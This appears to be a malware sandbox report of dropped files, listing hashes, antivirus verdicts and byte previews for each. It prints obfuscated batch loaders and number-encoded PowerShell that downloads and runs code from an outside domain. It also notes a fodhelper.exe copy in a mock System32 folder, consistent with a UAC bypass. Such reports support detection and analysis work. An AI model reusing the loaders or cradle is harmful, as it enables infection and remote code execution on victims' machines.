SHA-512:	6B4B30FE6B8ECE46D918111F84A3694B5F1D476A7F85C15AFC38FD269BD2930B99D2DF1C2AB699047B1E269621BDFDA1D5013756409394918C2492EF39849E94
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@Echo off..Setlocal EnableExtensions..Setlocal EnableDelayedExpansion..cd %SystemRoot%\System32..Set /P _kjfech8_V=<"C:\_kjfech8_V\computer_kjfech8_V"..set chars=0123456789abcdefghijklmnopqrstuvwxyz..for /L %%N in (10 1 36) do (..for /F %%C in ("!chars:~%%N,1!") do (..set "_kjfech8_V=!_kjfech8_V:%%N=%%C!"..)..)..)..for /F %%F in ("!_kjfech8_V!") do (..set "_kjfech8_V=!_kjfech8_V:@=!"..)..for /F %%F in ("!_kjfech8_V!") do (..set "_kjfech8_V=!_kjfech8_V:"=!"..)..%_kjfech8_V%....

C:\Users\Public\computer_kjfech8_Vy.cmd

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	482
Entropy (8bit):	5.358829564456304
Encrypted:	false
SSDEEP:	12:/IUb4u4tmm2scxuHN+6LO5Sfy8n6fpArZrf7Xrfz+WB:wztosZHN+6uS68n6crzrL1B
MD5:	D4050C848880A5CDD470742763B263AA
SHA1:	D5160D10B3F33BC541E193C19B2AF2131501E7E3
SHA-256:	4D914E0459F1D9C471BCC0144CF1669DAC1B014EFAADB60068D8CAADB31A0C0C
SHA-512:	DCD1CC9869BBF28862B1358C8E034C5DA8219E579DDA7680FEE7562A56E8A515CA3ACDA5905BD471F46CE044BBAA5B8E5444FD4CF90EBF8DFDAF90A34000B046
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@Echo off..Setlocal EnableExtensions..Setlocal EnableDelayedExpansion..cd %SystemRoot%\System32..Set /P _kjfech8_V=<"C:\_kjfech8_V\computer_kjfech8_Vy"..set chars=0123456789abcdefghijklmnopqrstuvwxyz..for /L %%N in (10 1 36) do (..for /F %%C in ("!chars:~%%N,1!") do (..set "_kjfech8_V=!_kjfech8_V:%%N=%%C!"..)..)..)..for /F %%F in ("!_kjfech8_V!") do (..set "_kjfech8_V=!_kjfech8_V:@=!"..)..for /F %%F in ("!_kjfech8_V!") do (..set "_kjfech8_V=!_kjfech8_V:"=!"..)..%_kjfech8_V%....

C:\Windows \System32\fodhelper.exe

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	49664
Entropy (8bit):	5.876977574715819
Encrypted:	false
SSDEEP:	768:WwU7bDT2KLt6oPjQQ5fxGIjN44MgZkD9TpiPogpUORaNpohsySZlv7:WtfT2KwoPBxjN4zDbgpUOoo1SZ17
MD5:	85018BE1FD913656BC9FF541F017EACD
SHA1:	26D7407931B713E0F0FA8B872FEECDB3CF49065A
SHA-256:	C546E05D705FFDD5E1E18D40E2E7397F186A7C47FA5FC21F234222D057227CF5
SHA-512:	3E5903CF18386951C015AE23DD68A112B2F4B0968212323218C49F8413B6D508283CC6AAA929DBEAD853BD100ADC18BF497479963DAD42DFAFBEB081C9035459
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: rPO767575.cmd, Detection: malicious, Browse Filename: KKKK.hta, Detection: malicious, Browse Filename: ZG7UaFRPVW.exe, Detection: malicious, Browse Filename: IN-34823_PO39276-pdf.vbe, Detection: malicious, Browse Filename: 7XU2cRFInT.exe, Detection: malicious, Browse Filename: megerosites.cmd, Detection: malicious, Browse Filename: Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe, Detection: malicious, Browse Filename: Payroll for July.exe, Detection: malicious, Browse Filename: 2nd_Quarter_Order_Sheet_xls_0000000000000000000.exe, Detection: malicious, Browse Filename: Import_Tax Invoice_PL_xls_0000000000000000000 .exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......y.-.=.C.=.C.=.C.4...#.C.).F.<.C.).@.?.C.).G.).C.).B.6.C.=.B.O.C.).K.;.C.)..<.C.).A.<.C.Rich=.C.........................PE..d....*}..........."..........D......`..........@............................. ....................... ..........................................h...............X.......................T........................... ...............8................................text.............................. ..`.imrsiv..................................rdata..2&.......(..................@..@.data...............................@....pdata..X...........................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................

C:\_kjfech8_V\6.txt

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	68330000
Entropy (8bit):	7.999997201173071
Encrypted:	true
SSDEEP:	1572864:EQ27uOe3TzkFTMFcREDv91nY27fqMtQxMCj7920jg9pjUGpDn:hrjoFTMaWTfnjfJYt9C9JDn
MD5:	3AD4359325A5C5D2A33BD7D902A80075
SHA1:	63AA60AC67D9927C25535E967FA9D87549183F89
SHA-256:	1C36B918769F3C9F026D0BE59263DD16CDEDC639CCE24092AEF67A6E36D19CF8
SHA-512:	E33DFB7EE833D75E9DFFB8D02CD5ABBB2403553E50C5756890AE6495F89C43763850DA040F8DF6F95901E233BC5BB3ACB1BBA6655B54A9A7ADED7BBE0D7163D4
Malicious:	false
Preview:	...}/C~.Qz..^.i.a.2.(..'....-..#.$..8..[.Q......xD.P.5..Y....)7Rr..48i....u.sN.-,:...h#.\|..D..V.u...$g......%....r...V..H.-....hHpZ.:.........~......x.9AN.Q%..$..E...{#.O...\...)..OE...J.NF....B.[.-@...<.d.4<j..).{.AP..b`.1&..fB.L.K...W..Eeo...>....e.}.r.>..2...........$.@.n..'.!E.. .AY.#...-I.=,..]..x...ifI.3<...T.k..l.0+_d\<.H...v......\.{.....VX......5......-6O....~.wM...i.o..../.r.?...../".<...4...D......{......2z...ee/7B..m........-....G.](.{.#?It....A...,P...~...".D..3..?..T....[..TI!..~L,f..q..5.../\dtK.}p...J......Rp0...DB.......d.[. .3..F.F64&4....`.fPfp.O.p...4m...)9"O.p.Z.n..h..kx...".k.h.^.2......=..@.E..Wy.s.."ke.bx......(4...'/...%...'......o.vO._...I..(Z.l......).;....(.].........S.q...Ji...........M._2..s2S..<..'..%#'...}........x.k..L.......R..'.}..."..C'{.}.m......\B....E....R.~..-"....^.B...........G.cQo.u3.......-L]..U.d..uU....$/4!.....W...oz...S4.W..<....M.c:........-...w.n.....V(j...l.ra.6I..,.g,.."#.

C:\_kjfech8_V\MSVCR100.dll (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	773968
Entropy (8bit):	6.901569696995594
Encrypted:	false
SSDEEP:	12288:yMmCy3nAgPAxN9ueqix/HEmxsvGrif8ZSy+rdQw2QRAtd74/vmYK6H3BV0eAI:dmCy3KxW3ixPEmxsvGrm8Z6r+JQPzV4I
MD5:	BF38660A9125935658CFA3E53FDC7D65
SHA1:	0B51FB415EC89848F339F8989D323BEA722BFD70
SHA-256:	60C06E0FA4449314DA3A0A87C1A9D9577DF99226F943637E06F61188E5862EFA
SHA-512:	25F521FFE25A950D0F1A4DE63B04CB62E2A3B0E72E7405799586913208BF8F8FA52AA34E96A9CC6EE47AFCD41870F3AA0CD8289C53461D1B6E792D19B750C9A1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: mXF65oa1GJ.exe, Detection: malicious, Browse Filename: mXF65oa1GJ.exe, Detection: malicious, Browse Filename: Confirm Me.exe, Detection: malicious, Browse Filename: PInstaller.exe, Detection: malicious, Browse Filename: 123.sfx.exe, Detection: malicious, Browse Filename: KKKK.hta, Detection: malicious, Browse Filename: formatfactory-4-6-1-0.exe, Detection: malicious, Browse Filename: formatfactory-4-6-1-0.exe, Detection: malicious, Browse Filename: EYOFFTITMDLXZJFFCCGFDTBIY.msi, Detection: malicious, Browse Filename: SSCBOLGZFXVJMEICRNQMJOCDIF.msi, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.y.~...~...~...w...}...~.......eD.....eD..+...eD..J...eD......eD......eD......eD......Rich~...................PE..L..."._M.........."!.........................0.....x................................u.....@..........................H......d...(.......................P.......$L...!..8...........................hE..@............................................text...!........................... ..`.data....Z...0...N..................@....rsrc................f..............@..@.reloc..$L.......N...j..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\_kjfech8_V\MSVCR100.txt

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	773968
Entropy (8bit):	6.901569696995594
Encrypted:	false
SSDEEP:	12288:yMmCy3nAgPAxN9ueqix/HEmxsvGrif8ZSy+rdQw2QRAtd74/vmYK6H3BV0eAI:dmCy3KxW3ixPEmxsvGrm8Z6r+JQPzV4I
MD5:	BF38660A9125935658CFA3E53FDC7D65
SHA1:	0B51FB415EC89848F339F8989D323BEA722BFD70
SHA-256:	60C06E0FA4449314DA3A0A87C1A9D9577DF99226F943637E06F61188E5862EFA
SHA-512:	25F521FFE25A950D0F1A4DE63B04CB62E2A3B0E72E7405799586913208BF8F8FA52AA34E96A9CC6EE47AFCD41870F3AA0CD8289C53461D1B6E792D19B750C9A1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.y.~...~...~...w...}...~.......eD.....eD..+...eD..J...eD......eD......eD......eD......Rich~...................PE..L..."._M.........."!.........................0.....x................................u.....@..........................H......d...(.......................P.......$L...!..8...........................hE..@............................................text...!........................... ..`.data....Z...0...N..................@....rsrc................f..............@..@.reloc..$L.......N...j..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\_kjfech8_V\computer_kjfech8_V

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	293
Entropy (8bit):	3.3219880145434697
Encrypted:	false
SSDEEP:	6:fRnNiTwFOhT6WVhEqnXcx91PNWlDxUWP8uIl8OH/DlBMn:5nNis+hFnXoYldUPtXon
MD5:	F33BB3F1B71C05FC8DAA3B0908BE3DCA
SHA1:	933329E5A139ABB5465A9606DC70EEB3B8D09773
SHA-256:	EBDA232FC01D4837B77EC30597945B103B45245714A6FE6AFE0D198010F21195
SHA-512:	37F92A7C3D6F230FFCFE63E79D5FA4B1394B246FDCAAAB2341926A2D36C4B0EFD28EE1123E6D194EBA021EDE5ACD76ADC825C345EE17CBA3B2F542FF4142CCC0
Malicious:	false
Preview:	@14@12@17@24 @18@14@33 (@23@14@32-@24@11@19@14@12@29 @23@14@29.@32@14@11@12@21@18@14@23@29).@13@24@32@23@21@24@10@13@28@29@27@18@23@16('@17@29@29@25@28://@15@28@23@10@29.@28@17@24@25/@10/@0@8/@1@5@0@8@2@2/@30@25/@30@25') \| @25@24@32@14@27@28@17@14@21@21.@14@33@14 -@23@24@25 -@32@18@23 @1 -..

C:\_kjfech8_V\computer_kjfech8_Vy

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	293
Entropy (8bit):	3.3222176487027815
Encrypted:	false
SSDEEP:	6:fRnNiTwFOhT6WVhEqnXcx91PNWlDxUWP82eZFl8OH/DlBMn:5nNis+hFnXoYldUP2eZhon
MD5:	9C2D3D09140EEEB2EFE40F876D44E1B0
SHA1:	D025BF465CB917BA91D8F4AF601E7AB5A0DC5103
SHA-256:	72B3480265246FB30775BD6C6DF814C48D07FF8A2AF3CD3BB28AC61119D88734
SHA-512:	7480FFCBF90D81DD1F195068F4A00E7CB96A6BB965F79519C31ED2B295011B277111DB74E6D153CAAD6D08AFF7ED3311D59D6BD5C2A670317F8F364531623C0F
Malicious:	false
Preview:	@14@12@17@24 @18@14@33 (@23@14@32-@24@11@19@14@12@29 @23@14@29.@32@14@11@12@21@18@14@23@29).@13@24@32@23@21@24@10@13@28@29@27@18@23@16('@17@29@29@25@28://@15@28@23@10@29.@28@17@24@25/@10/@0@8/@1@5@0@8@2@2/@10@30/@10@30') \| @25@24@32@14@27@28@17@14@21@21.@14@33@14 -@23@24@25 -@32@18@23 @1 -..

C:\_kjfech8_V\WebView2Loader.dll (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	108448
Entropy (8bit):	6.4314522815075446
Encrypted:	false
SSDEEP:	3072:iTC3F6JkULenwAFqz5pV3+Zqocv0T+EtO5pf+gMl/1:iuV66kL5pjxEtqpWRl/1
MD5:	61E6B94AB6109254FBEF360681F5B80D
SHA1:	204A5EDA5FEA33A56EDB33B9CCD40AF635A04564
SHA-256:	446B4D19ED8FA1563B77A7F36261B76911B208AF1D00A805D54E44B01CA3F54A
SHA-512:	93FAD29F13C0A18E4864DDF57AEBA882FB411B84F6DFF993B87295A1B5E4B488433802C2150FBF25A3132379DC2EB3AA02D836059B0EF24A2DB4269EB0795A9B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L......a.........."!.................8...............................................0....@A.........................].......^..(........................#......L...X[.......................Y......`...............X`..<....\..`....................text...G........................... ..`.rdata..Lm.......n..................@..@.data........p.......\..............@....00cfg...............f..............@..@.tls.................h..............@....voltbl.H............j...................rsrc................l..............@..@.reloc..L............r..............@..B........................................................................................................................................................................................................................................................................................................................

C:\_kjfech8_V\WebView2Loader.txt

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	108448
Entropy (8bit):	6.4314522815075446
Encrypted:	false
SSDEEP:	3072:iTC3F6JkULenwAFqz5pV3+Zqocv0T+EtO5pf+gMl/1:iuV66kL5pjxEtqpWRl/1
MD5:	61E6B94AB6109254FBEF360681F5B80D
SHA1:	204A5EDA5FEA33A56EDB33B9CCD40AF635A04564
SHA-256:	446B4D19ED8FA1563B77A7F36261B76911B208AF1D00A805D54E44B01CA3F54A
SHA-512:	93FAD29F13C0A18E4864DDF57AEBA882FB411B84F6DFF993B87295A1B5E4B488433802C2150FBF25A3132379DC2EB3AA02D836059B0EF24A2DB4269EB0795A9B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L......a.........."!.................8...............................................0....@A.........................].......^..(........................#......L...X[.......................Y......`...............X`..<....\..`....................text...G........................... ..`.rdata..Lm.......n..................@..@.data........p.......\..............@....00cfg...............f..............@..@.tls.................h..............@....voltbl.H............j...................rsrc................l..............@..@.reloc..L............r..............@..B........................................................................................................................................................................................................................................................................................................................

C:\_kjfech8_V\_kjfech8_V._kjfech8_V

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	72830057
Entropy (8bit):	7.999970220702098
Encrypted:	true
SSDEEP:	1572864:Rl30xbxfZOMP+N1p1rYU3SXYp9tzd3HToEXq0Jv:rkxbBZOQ6v1rYEVnhbtJv
MD5:	E72F7F139A00045E7A2DAF8A1C0AB730
SHA1:	8F1D21A21EAF6A4E312E2D15CFE4115CD9BE5AFD
SHA-256:	78EBE0FF32A280E98E6720E60FC1E95FBD533C3F4535D41CF790C87125556F8E
SHA-512:	AD31A82D34FE2604099090952ABB33DB7F9370A161227CAF1CC7C28E5083F15D5F8EEF24CF77251BCC846A43DC50D6271B29DAE83297E4147DD5DB41B44B5B65
Malicious:	false
Preview:	PK........oNSY............. .jli.txtUT...R..g. .g.{.fux...............\|.E.0.3.I:.!3. .#......TB..y`x.....F.1..d'..]..v.4.Y...^..W.^w.....u'.L.....AX..j.Q..!.H..T.LfB\|......LU.:.:Uu....n......9..9+.i...c.vn......{...N.......K.>......!..Uw..\|}.z.AL..2.%.&I.......i7.1'.......qK.1\.......q.1..D....{..R.\.q6.M..:4....i.).c'....9.aX.M...).......@:0...+h.........W....=...p.X./.%V6..V.....w./...U...;..N"..W].WQ..C~g.B.F.\|...V......95.u..S.3..1....q7Cz....U0DZG.+..i.(x....9.v.....g..^..Rt....k..rz....A..exY.\.....m.h....W......h[.......?.f.LQYuu5..../.F,(.i..]Red...b.z4.l(1..k.....].......h..&..tx...BQU.K\X+rM..m......55Pf..._cY..+.ta..Fn7......p.=....U.._.2..]...5..L.h..g...u. ..1N...E..[g.VB.....s.<.$....(..Pn../..7T.R...'b...!.Pm...,........5>...b%...#......I..T.........&Z....\.........../.].......@C.`."n.X._^]Q..%..L....9...M.N..5.....m.........../.....&..u..A....Z....c.vQ...0....`.g.f.*-wU.cw..q.l^VS9.....ov,.n...6:..!..."..k...vNa..q

C:\_kjfech8_V\_kjfech8_V.ai (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	24278
Entropy (8bit):	7.992239472488486
Encrypted:	true
SSDEEP:	384:MZ/cBozUqKi8DsHqjFnKNSTYY0Rez/5QLkWN6vXiAq+7UYaiaeOaIfxVh+bJ/jIW:6/vUqKFsKw0h1QL7Qvy8UYP6aIfxVgbz
MD5:	36B4C39FF2982F0A7D3DEDC71839AFA7
SHA1:	ABE9615811A42C68368C6472E520CC0AFDB74E02
SHA-256:	F189601651275217ACFC20A19E1D27D2AD2F9687BFD05E2D7C760EC749E93F17
SHA-512:	CDDD0EB6EA3F639C5853BAB86F852D1F9AC2B91053380D1F732693E12A96ED1F662833DD48993A13F11DF9809552E7F1097090CE1ADF633E8E1A3D668418C506
Malicious:	false
Preview:	.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.M....,p~.=.....C.9..8..._yr.0x.y...&I..O.L4s.m.1..((..b...^......=...6..q.J.%>f..?3}.I..F..t..^..V...:.P8"..:................ "..0.Lw "..0.LwkC.R......%x....}...q..U-...(....%....V..?p.h.........?.o..T..[..f.w..$ D...$.6..D.w....x.U..&..m.....n...U.S...'....Y.E...,../......:^;.5.g5.....z......UH..\ .......B...... "..m.Iw "....Kwm........v..5...x...(.U?j....$.1.#.~.\........i...}.k..,..7.)X...0..=...a.o9'../>1...`E..l...M.`.#gp..x.u.. ....6Z....4{Q.k'....{.U5.A....a..)...=..>3.2p.c[.....h..........-.fC.~........E.+.....O..1L..A........=]-..0.@.=....6W.`&o.%.....\|.aG..bJ...)..2............yJQ.i%5...(.O!.1.I.Q.....=.bs...3.2..k......H.\|N.C:..G..V.EK.H?.......[...".c..@S[.......'ms#...@.A%...::..c..p.e(....X..{...H../.+..b#.0.`r ..[w.X..9.......8..OF..-.:...'.1.s'.%V.&7..8w..o..t.].S..WG........~a8..mYX9..X.Yu/..L4t.H.D....J..~S....j;....

C:\_kjfech8_V\_kjfech8_V.at (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	24286
Entropy (8bit):	7.992282333476335
Encrypted:	true
SSDEEP:	384:MT8/cBozUqKi8DsHqjFnKNSTYY0Rez/5QLkWN6vXiAq+7UYaiaeOaIfxVh+bJ/jW:e8/vUqKFsKw0h1QL7Qvy8UYP6aIfxVgs
MD5:	2F200A8033EB6129E54D5FA818A64A21
SHA1:	68B6D29FF5CA9B4044B130AF7FF4F8FFC7703044
SHA-256:	F7BAA214EC4B2B4B05ABA4AD2CB96B04EB090E8DF9D53FC395B4636661928A25
SHA-512:	9A1A4B444EDAE236EDCF26C2544D9A83F544D0D8F53CFD21A12132D80F0D6D18ACE5B76D907B5FD672412C5B954DF4A738A748D600EDCC0D13B2307AE3FCDA1F
Malicious:	false
Preview:	.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.M........+..M...F.f.q..R,..u..>.r.nw.i@.../9...w.6..;..$dr..yO.n....-.....qH..O....?@....L.9"...]g......w_.1N(...+.............. ".....\| ".....\|kC.R......%x....}...q..U-...(....%....V..?p.h.....l)".N.#.R......v.k@..y..~...I.h...%D'7...Y.....6(..)w....+...........7.`....8.u....h..0p.R%. ).a..^_.B..=H.{.X..........B....". "..PK.\| ".....\|m........v..5...x...(.U?j....$.1.#.~.\........i...}.k..,..7.)X...0..=...a.o9'../>1...`E..l...M.`.#gp..x.u.. ....6Z....4{Q.k'....{.U5.A....a..)...=..>3.2p.c[.....h..........-.fC.~........E.+.....O..1L..A........=]-..0.@.=....6W.`&o.%.....\|.aG..bJ...)..2............yJQ.i%5...(.O!.1.I.Q.....=.bs...3.2..k......H.\|N.C:..G..V.EK.H?.......[...".c..@S[.......'ms#...@.A%...::..c..p.e(....X..{...H../.+..b#.0.`r ..[w.X..9.......8..OF..-.:...'.1.s'.%V.&7..8w..o..t.].S..WG........~a8..mYX9..X.Yu/..L4t.H.D....J..~S....j;

C:\_kjfech8_V\_kjfech8_V.exe (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	947288
Entropy (8bit):	6.629681466265794
Encrypted:	false
SSDEEP:	24576:fYgAon+KfqNbXD2XJ2PH1ddATgs/u2kaCB+l:f37+KSbq5e1diEnHaCK
MD5:	0ADB9B817F1DF7807576C2D7068DD931
SHA1:	4A1B94A9A5113106F40CD8EA724703734D15F118
SHA-256:	98E4F904F7DE1644E519D09371B8AFCBBF40FF3BD56D76CE4DF48479A4AB884B
SHA-512:	883AA88F2DBA4214BB534FBDAF69712127357A3D0F5666667525DB3C1FA351598F067068DFC9E7C7A45FED4248D7DCA729BA4F75764341E47048429F9CA8846A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L...).(c.........."...............................@..................................L....@...@.......@.........................\|....P..P............N..X&...0..Pv...........................C..........@............................................text...\|........................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...P....P......................@..@.reloc..Pv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\_kjfech8_V\_kjfech8_V.ia (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	68330000
Entropy (8bit):	7.999997201173071
Encrypted:	true
SSDEEP:	1572864:EQ27uOe3TzkFTMFcREDv91nY27fqMtQxMCj7920jg9pjUGpDn:hrjoFTMaWTfnjfJYt9C9JDn
MD5:	3AD4359325A5C5D2A33BD7D902A80075
SHA1:	63AA60AC67D9927C25535E967FA9D87549183F89
SHA-256:	1C36B918769F3C9F026D0BE59263DD16CDEDC639CCE24092AEF67A6E36D19CF8
SHA-512:	E33DFB7EE833D75E9DFFB8D02CD5ABBB2403553E50C5756890AE6495F89C43763850DA040F8DF6F95901E233BC5BB3ACB1BBA6655B54A9A7ADED7BBE0D7163D4
Malicious:	false
Preview:	...}/C~.Qz..^.i.a.2.(..'....-..#.$..8..[.Q......xD.P.5..Y....)7Rr..48i....u.sN.-,:...h#.\|..D..V.u...$g......%....r...V..H.-....hHpZ.:.........~......x.9AN.Q%..$..E...{#.O...\...)..OE...J.NF....B.[.-@...<.d.4<j..).{.AP..b`.1&..fB.L.K...W..Eeo...>....e.}.r.>..2...........$.@.n..'.!E.. .AY.#...-I.=,..]..x...ifI.3<...T.k..l.0+_d\<.H...v......\.{.....VX......5......-6O....~.wM...i.o..../.r.?...../".<...4...D......{......2z...ee/7B..m........-....G.](.{.#?It....A...,P...~...".D..3..?..T....[..TI!..~L,f..q..5.../\dtK.}p...J......Rp0...DB.......d.[. .3..F.F64&4....`.fPfp.O.p...4m...)9"O.p.Z.n..h..kx...".k.h.^.2......=..@.E..Wy.s.."ke.bx......(4...'/...%...'......o.vO._...I..(Z.l......).;....(.].........S.q...Ji...........M._2..s2S..<..'..%#'...}........x.k..L.......R..'.}..."..C'{.}.m......\B....E....R.~..-"....^.B...........G.cQo.u3.......-L]..U.d..uU....$/4!.....W...oz...S4.W..<....M.c:........-...w.n.....V(j...l.ra.6I..,.g,.."#.

C:\_kjfech8_V\_kjfech8_V.zip (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	72830057
Entropy (8bit):	7.999970220702098
Encrypted:	true
SSDEEP:	1572864:Rl30xbxfZOMP+N1p1rYU3SXYp9tzd3HToEXq0Jv:rkxbBZOQ6v1rYEVnhbtJv
MD5:	E72F7F139A00045E7A2DAF8A1C0AB730
SHA1:	8F1D21A21EAF6A4E312E2D15CFE4115CD9BE5AFD
SHA-256:	78EBE0FF32A280E98E6720E60FC1E95FBD533C3F4535D41CF790C87125556F8E
SHA-512:	AD31A82D34FE2604099090952ABB33DB7F9370A161227CAF1CC7C28E5083F15D5F8EEF24CF77251BCC846A43DC50D6271B29DAE83297E4147DD5DB41B44B5B65
Malicious:	false
Preview:	PK........oNSY............. .jli.txtUT...R..g. .g.{.fux...............\|.E.0.3.I:.!3. .#......TB..y`x.....F.1..d'..]..v.4.Y...^..W.^w.....u'.L.....AX..j.Q..!.H..T.LfB\|......LU.:.:Uu....n......9..9+.i...c.vn......{...N.......K.>......!..Uw..\|}.z.AL..2.%.&I.......i7.1'.......qK.1\.......q.1..D....{..R.\.q6.M..:4....i.).c'....9.aX.M...).......@:0...+h.........W....=...p.X./.%V6..V.....w./...U...;..N"..W].WQ..C~g.B.F.\|...V......95.u..S.3..1....q7Cz....U0DZG.+..i.(x....9.v.....g..^..Rt....k..rz....A..exY.\.....m.h....W......h[.......?.f.LQYuu5..../.F,(.i..]Red...b.z4.l(1..k.....].......h..&..tx...BQU.K\X+rM..m......55Pf..._cY..+.ta..Fn7......p.=....U.._.2..]...5..L.h..g...u. ..1N...E..[g.VB.....s.<.$....(..Pn../..7T.R...'b...!.Pm...,........5>...b%...#......I..T.........&Z....\.........../.].......@C.`."n.X._^]Q..%..L....9...M.N..5.....m.........../.....&..u..A....Z....c.vQ...0....`.g.f.*-wU.cw..q.l^VS9.....ov,.n...6:..!..."..k...vNa..q

C:\_kjfech8_V\_kjfech8_Vi7.exe (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	15936
Entropy (8bit):	6.475860444797363
Encrypted:	false
SSDEEP:	384:Gpsx5cnV21mSHhV8b+lee84SzFnYPLr7aq:GpscnfS/8KUe8jC7aq
MD5:	4AFCAB972E98ECBF855F915B2739F508
SHA1:	615DC2FA827FAB39E16A7E9721F484E7F4D34F8E
SHA-256:	7CC34A5423BD3FC9FA63D20EBECE4103E22E4360DF5B9CAA2B461069DAC77F4D
SHA-512:	58258F74D7E35C5A83234A98BC033846BE5A65146BD992E738A8678706A18C30759BD405FBB30A296181E2F92ACB0219DF8979030CC45D1CDEC6AC06E8BC00D5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........R%^.<v^.<v^.<vW..v\.<vEx.v_.<vEx.v\.<vEx.v[.<v^.=vo.<vEx.vJ.<vEx.v_.<vEx.v_.<vRich^.<v........PE..L......V............................\|........ ....@..........................`......Z.....@.................................4#..P....@..H............&..@....P....... ...............................!..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0......................@....rsrc...H....@......................@..@.reloc.......P.......$..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\_kjfech8_V\b.txt

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	24278
Entropy (8bit):	7.992239472488486
Encrypted:	true
SSDEEP:	384:MZ/cBozUqKi8DsHqjFnKNSTYY0Rez/5QLkWN6vXiAq+7UYaiaeOaIfxVh+bJ/jIW:6/vUqKFsKw0h1QL7Qvy8UYP6aIfxVgbz
MD5:	36B4C39FF2982F0A7D3DEDC71839AFA7
SHA1:	ABE9615811A42C68368C6472E520CC0AFDB74E02
SHA-256:	F189601651275217ACFC20A19E1D27D2AD2F9687BFD05E2D7C760EC749E93F17
SHA-512:	CDDD0EB6EA3F639C5853BAB86F852D1F9AC2B91053380D1F732693E12A96ED1F662833DD48993A13F11DF9809552E7F1097090CE1ADF633E8E1A3D668418C506
Malicious:	false
